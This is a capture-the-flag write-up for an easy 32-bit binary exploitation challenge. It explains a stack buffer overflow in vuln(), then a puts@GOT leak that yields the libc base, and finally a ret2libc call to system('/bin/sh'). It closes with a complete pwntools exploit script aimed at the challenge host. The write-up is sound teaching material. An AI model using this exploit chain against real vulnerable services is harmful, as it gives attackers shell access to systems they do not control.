• Category: Pwn
  • Points: 100
  • Difficulty: Easy

Description

It happily follows a familiar tune ...

Overview

This challenge consists in an ELF binary that print a banner and then allows the user to input a string, nothing more.

Vulnerabilities

Inside the vuln() function, we find this code:

void vuln(void)

{
  undefined1 local_138 [304];
  
  read(0,local_138,350);
  return;
}

As we can see, there is a clearly buffer overflow, so if we input a string longer than 304, we can overwrite the return address of the function, since there are no stack protections:

    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8046000)

Since the challenge provided us the libc.so.6 file, we tend to think this is a ret2libc vuln.

Solution

Finding return address offset

To do this, I just used cyclic from pwntools, that allowed me to find the exact offset of the return address in the stack.

In fact if we send a cyclic(330), registers will look like this:

EAX  0x14b
EBX  0x64616162 ('baad')
ECX  0xffff9b24 --> 0x61616161 ('aaaa')
EDX  0x15e
EDI  0xf7f6ab60 (_rtld_global_ro) --> 0
ESI  0xffff9d2c --> 0xffff9f2b --> 'SHELL=/bin/bash'
EBP  0x64616163 ('caad')
ESP  0xffff9c60 --> 0x64616165 ('eaad')
EIP  0x64616164 ('daad')

Now, with pwndbg we can calculate the final offset, which is 312:

pwndbg> cyclic -l 0x64616164
Finding cyclic pattern of 4 bytes: b'daad' (hex: 0x64616164)
Found at offset 312

Finding the libc base

Now, we have to calculate the libc base in order to get the system runtime address, which is stored inside the GOT.
The first thing to do is to leak a runtime address of a known libc symbol (for example the address of puts). That leaked address is an address inside the loaded libc, not yet the libc base.

Do to this, we can call puts(puts@GOT), where puts(@GOT) is the GOT slot that contains the runtime pointer to puts.

In fact, after sending this payload:

main_addr = exe.sym.main
puts_plt = exe.plt['puts']
puts_got = exe.got['puts']
payload = b'A' * 312      # ret addr offset
payload += p32(puts_plt)  # address of the function to call, eip will point to it
payload += p32(main_addr) # return address (where execution continues after puts)
payload += p32(puts_got)  # the got entry to print

we obtain a 4 byte long runtime pointer to puts. Now, to calculate the libc base, we have to substract from the leaked value, the static offset of puts inside the libc provided from the challenge:

leak = u32(io.recv(4))
libc_base = leak - libc.symbols['puts'] 

Now, we can calculate any runtime address, the one that we need is the system one. To do this, we can add to the libc base the static offset of system:

system_addr = libc_base + libc.symbols["system"]

we only need one more thing, a pointer to /bin/sh string. There are several methods to find it, but I chose to start by using rabin2 -z libc.so.6 | grep /bin/sh, which output is:

915  0x001c4de8 0x001c4de8 7   8    .rodata ascii   /bin/sh

Now, adding the libc base to this address, we can obtain the runtime one.

Crafting final payload

Now, we have everything we need to craft a payload that pops a shell, by using the previously calculated system address, and the /bin/sh string. So, overflowing again, this time returning into system:

system_addr = libc_base + libc.symbols["system"]
binsh = 0x001c4de8

payload = b'A' * 312
payload += p32(system_addr)
payload += p32(main_addr)
payload += p32(libc_base + binsh)

flag

Final Exploit

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template '--host=chall.v1t.site' '--port=30212'
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'chall')

host = args.HOST or 'chall.v1t.site'
port = int(args.PORT or 30212)

if args.LOCAL_LIBC:
    libc = exe.libc
elif args.LOCAL:
    library_path = libcdb.download_libraries('libc.so.6')
    if library_path:
        exe = context.binary = ELF.patch_custom_libraries(exe.path, library_path)
        libc = exe.libc
    else:
        libc = ELF('libc.so.6')
else:
    libc = ELF('libc.so.6')

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
continue
'''.format(**locals())

io = start()

context.log_level = "info"

main_addr = exe.sym.main
puts_plt = exe.plt['puts']
puts_got = exe.got['puts']
payload = b'A' * 312 # out offset
payload += p32(puts_plt)
payload += p32(main_addr)
payload += p32(puts_got)

io.sendlineafter(b"!\n", payload)

leak = u32(io.recv(4))
libc_base = leak - libc.symbols['puts'] 

log.info(hex(libc_base))


system_addr = libc_base + libc.symbols["system"]
binsh = 0x001c4de8

payload = b'A' * 312
payload += p32(system_addr)
payload += p32(main_addr)
payload += p32(libc_base + binsh)

io.sendlineafter(b"!\n", payload)

io.interactive()
CTF{flag_goes_here}